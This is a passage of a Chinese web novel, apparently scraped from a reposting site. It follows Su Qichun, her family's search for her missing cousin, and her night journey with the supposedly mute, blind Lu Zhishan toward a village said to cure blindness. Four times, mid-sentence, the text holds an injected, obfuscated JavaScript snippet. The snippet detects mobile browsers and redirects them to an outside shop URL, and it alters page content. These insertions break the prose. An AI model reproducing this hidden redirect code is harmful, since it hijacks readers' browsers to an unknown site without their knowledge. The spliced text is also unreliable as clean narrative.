茯苓又推推装糯米糕的盘子,诱惑着她,“女郎,这糯米糕是我新做的,刚出炉,可好吃了,你要不吃,一会儿凉了可就不好吃了。” 苏祈春被这香味诱惑得不行,可她还在强撑着,直到茯苓自己拿了一块吃下去,那糯米糕咬破之后从中心溢出来的香气就算隔着十万八千里她都能闻见,更不要说此时了。 她吞了吞口水,茯苓见状,端着盘子怼到她面前,嚷嚷着,“女郎,你尝尝吧,你尝尝吧。” 苏祈春被缠得要抓狂,终于说了一句,“茯苓你停下!” 茯苓闻言立马停住,可怜兮兮地道:“女郎,你别生气了,今晚的月亮不错,我们一起到廊下赏月吃糯米糕,我做了许多糯米糕呢。” 苏祈春怎么能这么容易就原谅了茯苓。可苏祈春又怎么抗拒得了糯米糕的诱惑?于是苏祈春非常不争气地跟着茯苓走了。 屋外果然月明星稀,苏祈春和茯苓两人坐在廊下,看着星星一闪一闪地眨眼,月华如霜般落满天地。 苏祈春咬着糯米糕,甜腻的滋味瞬间在唇齿间蔓延,她听见茯苓问:“女郎,这次老夫人还要包庇那两个人吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977921|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个小女郎的身影被月光投在白雪地上,苏祈春心里苦笑,摇摇头,“不知道。不过,”苏祈春踩在自己的影子上,“随便吧,反正我和山哥哥没有事。” 很多时候,就算她计较也没有用,所以她也懒得计较了。 这不是懦弱,而是无奈,深深的无奈。 茯苓与苏祈春识于微时,她受到的委屈,她可都是看在眼里的。 “可是他们实在太过分了!差一点,差一点儿女郎你的清白就不保了。”茯苓越说越气,“老爷怎么能就这么又放过他们了呢?” 苏祈春咬着糯米糕,瞧着茯苓气得通红的脸,她像是遇见了什么天大的委屈一样,但明明受委屈的不是她,苏祈春笑起来,“哎呀,原来茯苓生气的时候是这样呀!” 茯苓后知后觉,不好意思地摸摸脸,才发现烫的惊人,“女郎你,我在向着你讲话呢!” 苏祈春咯咯笑,“我知道呢,可是……可是真的很好笑” 苏祈春笑得眼泪都出来了,茯苓害羞脸红,推着苏祈春不让她笑了,两个人闹了半天,都有些累了,茯苓趴在苏祈春怀里,喃喃道:“女郎,等我厉害了,一定给你报仇。” 苏祈春手里捏着吃了半块的糯米糕,点点头,“好呀。” 夜风吹着屋檐下垂下的树影,发出极温柔的声响,像是摇篮曲一般。 茯苓终于不再说那件事,苏祈春看着她的眼皮越来越沉,苏祈春几乎都要以为她要睡着了,正准备找人扶她回去休息,可刚一动,茯苓就突然坐起来,指着苏祈春,嘴里鼓囊着, “女郎,你一定要离陆之山远一点儿,我告诉你,他是装哑的,他会讲话的,我听见了的!” 苏祈春笑着摇头,这茯苓,又在说胡话,不过…… 苏祈春歪着脑袋看天,星子在眸底闪烁,她的眸光仿佛望向很远很远的地方,“要是山哥哥真的是装哑就好了……” 要是山哥哥会说话,知道她受了这样的委屈,会不会为她出头,她想他一定会的,至于为什么?她不知道,总之她相信他一定会的。 璀璨的日光一点点融化漆黑的天幕,苏祈春怀着一个愿望,晚上做梦果然就梦到了陆之山会说话能看见的样子。 她醒来时还带着梦中激动的心情,一大早就跑到月雪阁,找到青松树下的陆之山,把他拉到心正庐里。 一路上,她小嘴不停地跟陆之山说着昨夜的梦,一边说一边笑,“茯苓还说山哥哥是装哑,山哥哥你知道吗?如果你真的是装哑,我一定开心死。” 陆之山隔着发凉的白布望向她。 他不明白苏祈春这话的意思,她很像在试探。 可苏祈春还跟以前一样拉着他,一举一动,一颦一笑都和往日一样。 他抓紧她,喉咙因为紧张而干涩,甚至连手指都在忍不住地颤抖,他开始后悔一时冲动在茯苓面前暴露了身份,如果苏祈春生他的气了怎么办?如果她伤心了怎么办? 他可见不得小女郎掉眼泪。 风雪吹得他指尖发凉颤抖,他心里有万千疑问,却不敢问,他怕他问了,一切都完了。 37. 才不信 37才不信 苏祈春依旧自顾自地说着,她脸上满是笑,像是想到了特别美好特别美好的事情,连拉着陆之山的手都不由自主地攥紧,她声音娇娇的,软软的,像撒娇,像谓叹。 “怎么办?纤纤就是好希望山哥哥是装哑的,这样的话,山哥哥就可以陪纤纤聊天了,纤纤可是藏了八百个八卦想要和山哥哥说呢。” 最重要的是,她想要看到陆之山好好的。 她说着,回头去看陆之山,陆之山的脸上冷冰冰的,没有笑,甚至比以往还要冷冽,仔细一看,还带着些颤抖,她停下来,摸摸陆之山的脉搏,有些担心。 “山哥哥你怎么了?”她碰了碰陆之山的额头,上面汗涔涔的,全是冷汗。 陆之山听到耳边掠过的风声,湛江县快要告别冬日了,是以风里都带着些微暖,像在预示着春的来临。 他本就白得透明的脸染上一层薄凉日光,久久地站立。 “山哥哥!”苏祈春眉尖蹙成一团,抓着陆之山的胳膊,看着他的眼神特焦虑,“山哥哥,是纤纤说错话了吗?” 她以为是她提到了陆之山的伤心事,伤了他的自尊。 “山哥哥。”苏祈春声音变得可怜兮兮的,“纤纤不是故意要提你不会说话这件事的,只是……”苏祈春停了一瞬,“只是纤纤是真的很希望山哥哥会说话,但是,”苏祈春贴近陆之山,抬头望他,“山哥哥就算不会说话,也照样是纤纤心里最重要的人。” 她不愿让陆之山伤心,不愿让他觉得自己是个被嫌弃的人。 小女郎最坚定最纯真的话语被风吹得散开,钻到陆之山的耳膜里,又顺着耳道滑进心里,钻心的暖。 他几乎要承认,几乎要卸下自己亲手堆砌的一堵堵城墙,从城墙裂缝中喷出些许的灰尘,溅在陆之山喉咙里,要命的痒。 小女郎眼巴巴地望着陆之山,等着他的话,露在外面的手掌冻得发红。 “山哥哥……”苏祈春伸手抚平他眉间的皱褶,一阵暖意紧接而来,陆之山嘴角淡淡的笑,他在她手心里写:纤纤最重要。 苏祈春眼眸一点点被点亮,心里由衷的笑,却嘴硬,“纤纤才不信。” 她嘟着嘴扭身往前走,走了一会儿,又回头看陆之山,只见陆之山还站在原地,笑着望她。 她摇摇头,双手叉腰,冲着陆之山大喊:“山哥哥,快来,纤纤给你敷药。” 风声在陆之山耳边停止,只剩下苏祈春的呐喊,陆之山笑意更深,他在心里说:“好。” * 连着几日日头正好,日光晒得大地上白茫茫的雪逐渐消融,永定河里堆积的冰棱化成水,和河水相互交融,水溶于水。 趁着难得的好天气,载满货物的船只纷纷开动,船桨划破清澈见人的河面,传出阵阵的欸乃声。 船舱内,一个高个儿男人扯着嗓子骂着眼前的两个人,“你们想回去就给我干活!我这条船上不养闲人!” 他早就看这两个细皮嫩肉的人不顺眼了,不明不白地上了船,穿得人模人样的,一副趾高气扬的样子,鼻孔朝天,在岸上时他已受够了这般对待,到了船上,还容得下他们嚣张? 他打发了这两人去摇浆,结果这两人倒好,别人往后他们往前,他气得罚他们两顿不吃饭。 “老大。”一个小矮个跑过来,顺着船老大的目光看向那两人,皱皱眉,“这两人看着像是富贵人家的,咱们这么对他们,他们上岸了报复咱们可怎么办?” 苏川谷和李元礼身上的衣服已变得破破烂烂的,他们站在船舷处拉着绳子,细皮嫩肉的手心在粗糙的麻绳上留下一道道血痕。 船老大冷“哼”一声,啐了一口唾沫,脸上因为常年的风吹日晒而染上两坨病态的红。 “上岸?”他挑挑眉毛,“你觉得他们能上岸么?” 船只在大江大河中行走,远离岸上的人群朝堂,俨然就是个孤岛,是以岸上的规矩用不到船上,在船上,船老大的地位最高,甚至相当于岸上的皇帝。 也因此,小矮个对船老大是察言观色,言听计从,他顺着船老大的话说:“那老大的意思是……”他在脖子上比了个咔擦的动作。 船老大起初在笑,看到他的动作后脸立马阴沉下来,“你什么意思?我是那种人吗?” 小矮个看见船老大晴转多云的脸,吓得屁滚尿流,不待船老大说,他就开始自顾自地扇着自己的脸,嘴里连连认错,“老大我错了,老大我错了。” 那劈里啪啦的巴掌声响彻河面,不过船上的人早已见怪不怪,他们依旧做着自己手中的活,连头也未抬一下,倒是苏川谷和李元礼两人惶恐地瞪大眼睛,一股凉意从尾椎骨上升起。 他们已在这船上待了半月有余,这半月里,船从湛江县来到了北边,听船上的人说,这个地方叫做常春县,常年冰雪覆盖,盛产一种极难得的药材,全县人都以此为生。 苏川谷成日里低着头,像个孙子一般被人使唤来使唤去,但却一刻都不曾忘了逃跑之事,他观察着船上的形势,眼睛珠子不断地转。 他前几日替一个船工搓了次澡,从那船工嘴里得知,船要在常春县停上半月,采买药材,再顺流南下,送去各个州县。 这条船本不是湛江县的,只是因为风雪在湛江县停靠,偏偏他们倒霉,被塞到了这条船上,苏川谷想要随船回去,也不是件容易事。 天色暗下来后,他和李元礼两人被派去洗恭桶。 他们哪干过这活儿?不过人都是被逼出来的,他们洗了半月恭桶后也熟能生巧,甭管再臭的恭桶,他们都能应对,尤其是苏川谷,李元礼就没那么习惯了。 “妈的,又洗?”李元礼踢了下堆在面前的密密麻麻的恭桶,嘴里骂骂咧咧的,“等老子回了湛江县,一定好好教训他们。” 李元礼手上长满了冻疮,再加上腥臭的污液反复刺激,他的手几乎要烂掉。 苏川谷默不作声地扶起地上被踢倒的恭桶,讥讽地说:“别骂了我的李大公子,小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006967|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被船上的人听见,还嫌挨的打不够多吗?” 他们这半月来可没少挨打,身上的伤好了又烂。 不提这个还好,一提这个李元礼浑身都开始疼起来,他可是堂堂的县令之子,怎么会沦落到这种地步? 他越想越气,忍不住又提了脚恭桶,恭桶应声而倒,苏川谷抬头瞪他,“你有完没完?” “我有完没完?”李元礼指着自己,气不打一处来,他落到这般田地可都是拜苏川谷的妹妹苏祈春所赐,他没骂苏川谷就不错了,苏川谷还来怪他? “你搞搞清楚,要不是你妹妹,我能在这里洗恭桶?”李元礼说着又踢倒一排恭桶。 苏川谷只能一个个地扶起来,李元礼再踢,他再扶,他难得的好脾气,就连一旁的小矮个船工都看不下去了,走到苏川谷身边,低声道:“苏兄真是好脾气。” 苏川谷抬起头,“是你啊。”他眯了眯眼,接着道:“杜兄也不遑多让。” 杜冲脸僵了一瞬,很快又笑得露出两排黄黄的牙齿,脸上的巴掌印清晰可见,“苏兄谬赞,只是不知道苏兄要怎么处理这烂摊子?” 他皱眉,看着眼前被李元礼砸得稀巴烂的恭桶,摇头,“船老大要是知道,你们就又要遭殃了。” 苏川谷手心攥紧,每次这个李元礼惹祸都要牵扯着他一起挨打,在这条船上,他可不是什么县令之子,却还一副目中无人的样子,他烦都烦死了。 “是啊。”苏川谷苦着脸,叹息声连连,“在这条船上,我无权无势,只能被人欺负,要是有人能帮我一把,等我下了船,一定千倍百倍地报答他。” 苏川谷瞟着杜冲的神色。 杜冲阴冷地笑,“谷兄,这船上的人连县令之子都不在乎,更何况你?” “我有更好的东西。”苏川谷道。 杜冲扬眉,苏川谷趁机在他耳边低声说了一通,杜冲的笑意越来越浓,阴侧侧的声音刺耳,“原来你是这种人。” 水面上的天格外地冷,在这样无星无月的天地间,人事物都仿佛融于黑暗。 同样的黑暗下,苏府内灯火通明,明角灯下,苏老夫人愁眉不展,连着整屋子的人都不敢吱声。 苏知辛刚从怀仁堂回来,姗姗来迟,一进门便走至苏老夫人身边,向苏老夫人问安。 苏老夫人抬了抬垂下的眼皮,道:“行了,我有件事要问你,谷儿的失踪和纤纤有没有关系?” 苏川谷已经失踪了半月有余,这期间,苏家找遍了湛江县附近的州县,全都一无所获。 苏知辛沉吟片刻,道:“纤纤一个弱女子,怎么会和她有关?她连自己的安危尚且不能照顾,更何况要害一个人?母亲实在是想多了。” 这话说得有理有据,苏老夫人也没法儿辩驳,况且这事说到底也是苏川谷有错在先。 李夫人却不依了,站起身道:“她不可以,曲余青可以,施之谓可以,这两个小子平日看纤纤的眼神就不对劲,若是纤纤开口,他俩人未必不会做!” 38. 有希望 38有希望 苏老夫人听了这话,垂下眼,想了会儿,又看向苏知辛,斟酌着道:“我记得曲余青是会些功夫的,那日他就伤了柏儿,我看他对纤纤是有些心思的,男儿大了,多少会做些胆大妄为的事,尤其是为了女人,这点儿,知辛应该很清楚。” 苏知辛很快明白过来苏老夫人说的是他年少时非要娶杨夫人之事,但这两件事又怎能相提并论,“小孩子懂得什么?便是有些心思,也不会为了谁得罪苏家,得罪县令。” “就是不懂才会如此。”李夫人拧紧眉头,“他不懂,就不知其中的利害,就更胆大妄为,有句话是不知者无畏,还有一句是初生牛犊不怕虎,依我看,那曲余青做得出,不如将纤纤叫过来,一问便知。” 那日的事情已经让苏祈春受尽委屈,李夫人和苏三爷跪了半日便没了下文,甚至李夫人脸上的巴掌印都消了,现在倒又想到了苏祈春。 苏知辛凛冽的眼风扫过李夫人,李夫人浑身一紧,跌回自己的位子。 苏老夫人接过这话茬,苏川谷可是她的孙子,是苏家的血脉,是万万不能出事的,“说得不错,是该把纤纤叫过来问一问。” “母亲!”苏知辛想要反对,苏老夫人瞪他一眼,让他无力再说下去。 苏祈春被叫来时,正要给陆之山敷药,听到是为了苏川谷的事,她手上动作顿了顿,脸上的笑霎时间消失得一干二净。 她附在陆之山耳边跟他说:“山哥哥在这里乖乖地等纤纤哦,纤纤一会儿就回来。” 小女郎声音轻柔,微苦的味道贴在鼻尖,陆之山嘴角还带着浅浅的笑,他扯了扯苏祈春的衣袖,等她回头后,他冲她点头。 苏祈春没说什么,抽掉陆之山手里衣袖,朝外走去,一直到苏老夫人面前,她也没笑。 “纤纤。”苏老夫人朝她招招手,“来祖母这里坐。” 苏祈春顺从地坐过去,等着苏老夫人的话。 苏老夫人先是命人拿过来一个盒子,放到苏祈春手里,“瞧瞧,这是崔夫人给你送来的药,说是从极寒之地找来的,极为难得,用来治眼疾有奇效。” 苏祈春摸着盒子细腻的纹理,想到崔夫人曾答应她的,要给她找药,她还以为崔夫人只是说说而已,没想到崔夫人是认真的。 “祖母,崔夫人是何时送来的?”她竟然都不知道。 苏老夫人抿了口茶,“昨日就送来了,家里一直在为了你谷哥哥的事忙,都没来得及给你,对了,纤纤,你可知道你谷哥哥去哪了?” 苏祈春捧着盒子的手指有些僵硬,“这……这纤纤怎么能知道呢?” 兴许苏川谷还在船上飘着,不过船上的人应当发现了他的身份,有李元礼这个县令之子在,他们恐怕也快要被送回来了。 “你当真不知道?”苏老夫人扭脸盯着她。 “纤纤不知道。”苏祈春摇头。 李夫人急了,冲到苏祈春面前,“纤纤,那可是你哥哥,你亲哥哥,你可不能见死不救!” 苏老夫人紧接着道:“是啊纤纤,那可是你的谷哥哥,是你的亲哥哥!”苏老夫人抬头给苏知辛使眼色。 苏知辛无奈,也跟着说:“纤纤,你要是知道的话,就说出来,那毕竟是你的谷哥哥。” 苏祈春手指攥得发白,她心烦意乱,脑袋被这些话语灌满,几乎没有一丝空间,可她还是知道一点,她也是苏川谷的亲妹妹,苏川谷照样对她下了狠手。 她的亲人没有一个要为她出头,那她自己为什么不能给他一些惩罚? “我不知道。”苏祈春低下头,话语坚定。 苏老夫人脸色沉下来。 李夫人不死心,“纤纤,你有点儿良心行不行?那可是你的亲哥哥。” 不说这个还好,一说这个,苏祈春满腔的委屈便涌上来。 “可是纤纤不是谷哥哥的亲妹妹吗?” 她明明也是苏川谷的亲妹妹,怎么没人去问一问苏川谷,为什么要那么对自己的亲妹妹? “你——”李夫人被堵得说不出话来,她眼睛转了转,恍然大悟一般,“所以你就是因为这个才不告诉我们谷儿的下落是不是?所以你是知道的是不是?” 苏祈春惊讶于李夫人的这般逻辑,她轻笑,垂下眼帘,淡淡道:“纤纤不知道。” “母亲!”李夫人冲着苏老夫人直跺脚,“你看看她。” 苏老夫人瞥了李夫人一眼,不耐烦地道:“行了,我乏了,你们都下去,知辛留一下。” 等众人都走了,苏老夫人才说出自己的心思,“纤纤这丫头,向来吃软不吃硬,你回去之后,留个心眼,多问问。” “谷儿毕竟是苏家的血脉。”苏老夫人又道。 另一头,李夫人气呼呼地回到住处,把桌上的茶碗杯碟统统砸了个稀巴烂。 苏三爷皱着眉问:“这又怎么了?” “你说怎么了?”李夫人大哭道:“什么人啊!亲哥哥都失踪那么久了,一点儿都不在意,还有没有人性啊!” 苏三爷缓过来神儿,猜到是苏祈春,冷哼一声,“这家里的女儿全都是一个样,不可救药!” 李夫人哭天抹地地哭了一天,第二日醒来,眼肿得几乎都睁不开,她坐在家里,越想越气,胸口几乎要炸开,她气不过,冲到觉明院,准备再和苏祈春理论一番。 谁知一进门,就瞧见了陆之山。 陆之山浑身泛着寒气,李夫人一见他就觉得冷,她绕过陆之山,转头又碰见茯苓。 茯苓看见她就没好脸色,“你又来干什么?” “你怎么说话呢?”李夫人翻了个白眼,“你家女郎呢?叫你家女郎出来!” “你走吧,我家女郎没空见你。” “哎。”李夫人撸撸袖子,“你这臭丫头怎么说话的?” “我就这么说话怎么滴?谁让你欺负我家女郎了?就不见你!”茯苓生气起来就什么都不顾了。 李夫人争执了片刻,又灰溜溜地回去,半夜里,她翻来覆去地睡不着,总觉得有个人在看着自己,猛一睁眼,只看见一个惨白的人脸。 “啊——鬼啊——”李夫人瞪大眼睛,吓得晕过去。 陆之山冷冷地看着她,并起双指,在她哑穴和神阙穴上点了一下,一切做完后,他拂了拂褶皱的衣襟,了然离去。 翌日,苏祈春刚醒就听说了李夫人的事。 “我跟你讲,李夫人现在是动也动不了,说也说不出,笑死我了。”茯苓笑得上气不接下气。 苏祈春心里暗暗叫好,冷静下来又疑惑,怎么突然就这样了? 不过她也是罪有应得,兴许是上天也看不下去了,苏祈春摇摇头,扭脸又问茯苓,“崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037283|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人送过来的药替我拿过来。” 打开盒子,药确实是难得的药,苏祈春只在医书里见到过,这药长在北方,很少在南方流通,因此得来相当不易。 苏祈春拿起药,眼角余光处又瞧见一张纸角,她翻开一看,果然瞧见一封信。 信是用小楷写的,里面字字句句都是心意,苏祈春细细地读完,眼眸一点点亮起来,湿润的泪花在她的眸中闪亮。 她捏着信纸的手犹在颤抖。 茯苓看出苏祈春的不一样,忙问:“女郎,你怎么了?” “山哥哥……山哥哥他…....”苏祈春望望茯苓,激动地说不出话,她来不及回答,拂过茯苓的手,握着那张纸,不顾一切地冲出去。 风声在耳边响啊响啊,像在读着那封信。 原来崔夫人不仅没忘了给她找药这件事,还在为她寻医,她在信上说,沿着湛江县往北,有个叫白头村的地方,那地方因多年前一场江湖争斗,井水被人下了毒,一夜之间,全村的人都瞎了,可不知村里的人用了什么法子,如今都好了。 陆之山的眼也是中了毒,苏祈春心跳得越来越快,信的背面还画着到白头村的路线图。 她跑到陆之山面前,脸上因为兴奋而染上一层红。 “山哥哥。”苏祈春胸口剧烈地起伏着,说着说着就哽咽了起来,“山哥哥,我可能要找到治好你眼睛的法子了。” 苏祈春拿出那封信,用手指着白头村的位置,高兴得要流泪。 “怎么办?纤纤好开心,纤纤开心的要哭了。山哥哥,纤纤真的很想治好你的病你知道吗?” 她想证明,自己不放弃,就一定可以做到。 苏祈春的话一句一句地被风吹进他的心里,将他的心一团团裹住,让他的心随着她的话不断震动。 有那么一瞬,他觉得自己的心也要激动得跳出来了。 “山哥哥,纤纤真的好开心,终于。”终于又有希望了。 苏祈春哭得几乎站不稳,她靠在陆之山的身上,额头抵在他的胸前,湿热的泪一点点润湿陆之山的衣襟,她魔怔了一般,喃喃重复,“纤纤真的好开心好开心。” 只要她坚持下去,她总能看到希望,总能做到的。 可怜的小女郎话不成句。 陆之山有些心疼地皱眉,他缓缓地伸出手,轻轻拭去她脸颊上的泪。 苏祈春却好似想起什么,抓住他的手,站直身子看他。 “对了,山哥哥,我们快些去吧,我想让你快些好起来。”说完,苏祈春眼泪又掉下来。 她是真的很想治好陆之山的病,她很想证明自己可以做到,她让她的山哥哥快些好起来。 陆之山静静的,手心却被攥紧的手指掐出一排红印,他展开她的手,慢慢地画:好。 苏祈春破涕为笑,她来回走,说着自己的计划。 陆之山也不知道有没有在听,只见他乖乖地待在一旁,耐心地听着苏祈春的话,苏祈春说什么他都点头,后来就连苏祈春都看不下去了,问:“山哥哥你有没有认真听纤纤的话?” 陆之山淡淡地笑,他抓过苏祈春的小手,将苏祈春的计划一字不差地写出来。 苏祈春脸上逐渐挂满甜甜的笑,她仰头看陆之山,拍拍他的肩膀,“山哥哥怎么能这么聪明呢?纤纤好喜欢这样的山哥哥。” 39. 白首村 39白首村 得知苏祈春要去白头村的事情,茯苓第一个不同意,她握住苏祈春的两只胳膊,狠狠地摇头,“女郎,你不能去。” 苏祈春坚决地道:“我要去,我一定要去。”山哥哥的病已经拖了几个月了,不能再拖下去了。 “可是。”茯苓想到陆之山装哑这件事,谁知道他身上有什么秘密,茯苓只知道正人君子是不会随意骗人的,“可是他不是好人。” “山哥哥是好人!”苏祈春下意识地反驳,山哥哥怎么会不是好人呢?她不相信。 就算所有人都不是好人,山哥哥也不会不是好人。 茯苓一定是听错了。 苏祈春接着道:“茯苓,我不许你这么说山哥哥,而且,我一定要和山哥哥一起去白头村。” 上天知道她有多希望陆之山能够好起来。 “女郎!”茯苓太担心苏祈春,生怕她出了什么差错,但此时的苏祈春压根儿不听她讲,心里只想着去白头村的事情。 一整天,苏祈春都在收拾东西,和陆之山商讨出发的路线,茯苓听他们说,他们要走水路,沿着永定河顺流往北,坐上一天一夜的船便到了。 茯苓眼见苏祈春是劝不住了,思前想后,想不出法子,一张脸儿皱成苦瓜脸。 及至夜晚,苏知辛匆匆回还,苏祈春忙了一天早早歇下,只剩茯苓还守在廊下,见到苏知辛回来,她忙不迭地走上前。 屋内点着一盏昏黄的灯,苏知辛苍老的脸在灯下熠熠的闪。 “你说什么?山儿会说话?”苏知辛不可置信地问。 “是的,我亲耳听到的,他会说话,而且,他不仅会说话,还会武功。”茯苓握紧双手。 苏知辛看了眼茯苓,她神色担忧,不像是在说谎,再加上茯苓自幼便跟着苏祈春,也可能骗他们。 可陆之山怎么会能说话呢? “大爷,你一定要拦着女郎,她真的不能和陆之山一起去白头村,太危险了”陆之山万一在路上对女郎做了什么可怎么办?茯苓越想越害怕。 苏知辛走到窗前,垂眸思索,月光透过窗纱照在他脸上。 当年的事他记得很清楚,陆之山的哑症是天生的,用来发声的声带断裂残缺,是决不可能治好的。 就像沙漠里是长不出参天大树,陆之山也绝不能会说话。 但茯苓却说陆之山会说话,这简直是不可能的事。 如果茯苓说的是真的,那这个陆之山还是真的陆之山吗? 苏知辛望着满天星辰,眉头紧锁,不敢再往下想下去,他挥挥手,沉声道:“放心,白头村天高路远,我断不能让她独自前往。” 茯苓这才放下心来。 渐渐来临的春意将天幕上的乌云融化散开,清冷的月光洒遍大地,像给天地间铺上一层薄纱。 苏祈春揉揉惺忪的眼睛,伸了个懒腰,坐起身,从温暖的被窝里艰难地爬出来,她下了床,踩在地面上的月光上,从衣柜里拿出一包鼓囊囊的包袱。 她悄悄地打开门,蹑手蹑脚地走出去,四周安静的可怕,甚至能听见她自己的心跳声。 直到她出了觉明院,她才敢放开脚步跑起来,风刮着她的小脸蛋儿,她没命地往前跑,生怕被人发现了。 “砰”地一声,苏祈春的头撞在一个软软的东西上,随之满鼻都是冷冽的香。 苏祈春抬起头,第一眼先看到了半边月光,泛着清寒的月光笼在陆之山的身后,他的一张脸被映衬得宛如落雪青松。 苏祈春望着他,一目不眨,风声在她耳边吹,她听见自己很轻的声音,“山哥哥。” 陆之山低下头看她,他脑后的白布条垂至眼前,晃来晃去。 苏祈春笑,眼底铺满星光,她想说什么,话到嘴边又止住,她拉住陆之山,急切地说:“山哥哥,我们快走,不让他们追上我们。” 苏祈春本想拉着茯苓一起,但见茯苓那般态度,只能先溜为上,否则若要家里人知道,定不让她如此折腾。 陆之山就这么被她牵着往前狂奔,小小的人儿跌跌撞撞,一团雪儿似的,往黑暗更深处跑去。 “唉哟”。 没走两步,苏祈春脚下一滑,脑袋几乎要撞到地上,还好陆之山在后面拉了她一把,她揉着自己的老腰,嘟嘴道:“山哥哥,这地也太滑了。” 渐暖的天将铺满大地的雪都融化,路上到处都是滑腻腻的。 陆之山嘴角淡淡的笑,他一把环住苏祈春的腰,不待苏祈春反应,将苏祈春带到高高的树梢上。 苏祈春吓得惊呼连连,回过神来时,耳边尽是风声,举目望去,高高低低的房屋连绵不绝,湛江县就在她脚下。 “山哥哥。”她不可置信地看着自己悬在空中的脚,僵硬得不敢动弹,她怕她一动,自己就要摔倒了。 陆之山反而一脸淡然,他搂紧苏祈春,手中飞出一枚竹叶,双脚一点,踩着竹叶往前而去。 虽然是在空中,但仍好像走在平地里一样。 苏祈春在话本里看到,大侠们都会轻功,能飞檐走壁,夜行千里,原来她的山哥哥也可以,她的山哥哥怎么这么厉害?怎么什么都会? 她扭脸,陆之山的眉与目就在她身边,她感到瞬间的安心。 可她毕竟是第一次被带到这么高的地方,始终有些忐忑。 “山哥哥。”她害怕得往陆之山怀里缩,“会不会掉下去?” 陆之山的脚步慢下来,一枚枚竹叶不断从陆之山手心中抛出,铺成一条条路。 他们好像乘着一叶扁舟,慢悠悠地飘行在江湖之上。 耳边的风声渐渐小了,苏祈春也越来越习惯像这样在空中走,月色低垂,苏祈春回头看,湛江县的一景一色在眼前逐渐消退,她凝眸,苏府已经化作一个极小的黑点,彻底看不清楚。 她心里彻底放松下来,这下他们都追不上她了。 她相信等到她回来时,山哥哥一定已经可以看见了。 这一切都是值得的。 她想着,兴冲冲地去看陆之山,眼神往前瞟了一眼,忽然大叫。 “啊——” 陆之山不解地转头看她。 苏祈春慌慌忙忙地从包里翻出一张地图,指指白头村,又指指前面,比划了半天才想起来陆之山看不见。 她摇着陆之山的胳膊大喊:“山哥哥,错了错了,不是走这边……” 折腾了一宿,两人才终于找对方向,苏祈春累得双眼紧闭,睁也睁不开,她跟陆之山说,一直往前走,然后就趴在陆之山的背上沉沉地睡着。 等再醒来时,她的头发上落满了雪,陆之山的头上也是,白茫茫的一片,好像真的白了头一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064277|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她揉揉眼睛,嘴里嘟囔着,“山哥哥,到哪了?还没有到白头村吗?” 陆之山连着奔走一夜,他走得不快,是以内力消耗得并不算多。 他从怀里摸出一块东西,放到苏祈春的眼前,苏祈春闻到一股香甜的味道,她抬了抬眼皮,眸子一下子亮起来。 “糯米糕!”她都等不及拿,直接咬上去,陆之山的手指被咬了一个小小的牙印,上面还残留着苏祈春的口水。 “山哥哥。”苏祈春嘴角沾着一丝丝糯米粉,嘴里的话咕哝不清,“你快说,你怎么会带我最爱的糯米糕?” 陆之山轻笑。 苏祈春下巴搁在陆之山的肩上,看透了一切一般,甜甜地说:“山哥哥不说纤纤也知道,因为纤纤是山哥哥最疼的人对不对?” 她可还记得,山哥哥说过,纤纤最重要! 陆之山嘴角笑意更浓,他感受到身后的小女郎得瑟的笑,也跟着心里开心,他拉过苏祈春的手,一笔一划地写:不然呢? 苏祈春歪头想想,“这倒也是,毕竟纤纤可是你唯一的妹妹。” 才不是。陆之山在心里说。 苏祈春又道:“而且纤纤有预感,这次一定能把你的病治好,你一定是来提前报答我的对不对?” 陆之山不说话。 苏祈春拍拍陆之山的肩膀,好像知道陆之山的心思一般,她窝在陆之山的脖颈处,声音小小的。 “告诉山哥哥一个秘密,纤纤要过生辰了,到了那天,山哥哥再来报答我吧。” 这大概是她第一个在外面过的生日,她希望到了那天,山哥哥的眼睛已经好了,他也可以看见她了。 她要带着山哥哥一起会苏家,告诉爹爹,告诉娘亲,她终于做到了,她想这才是她最好的生辰礼。 这个生辰礼她一定要拿到。 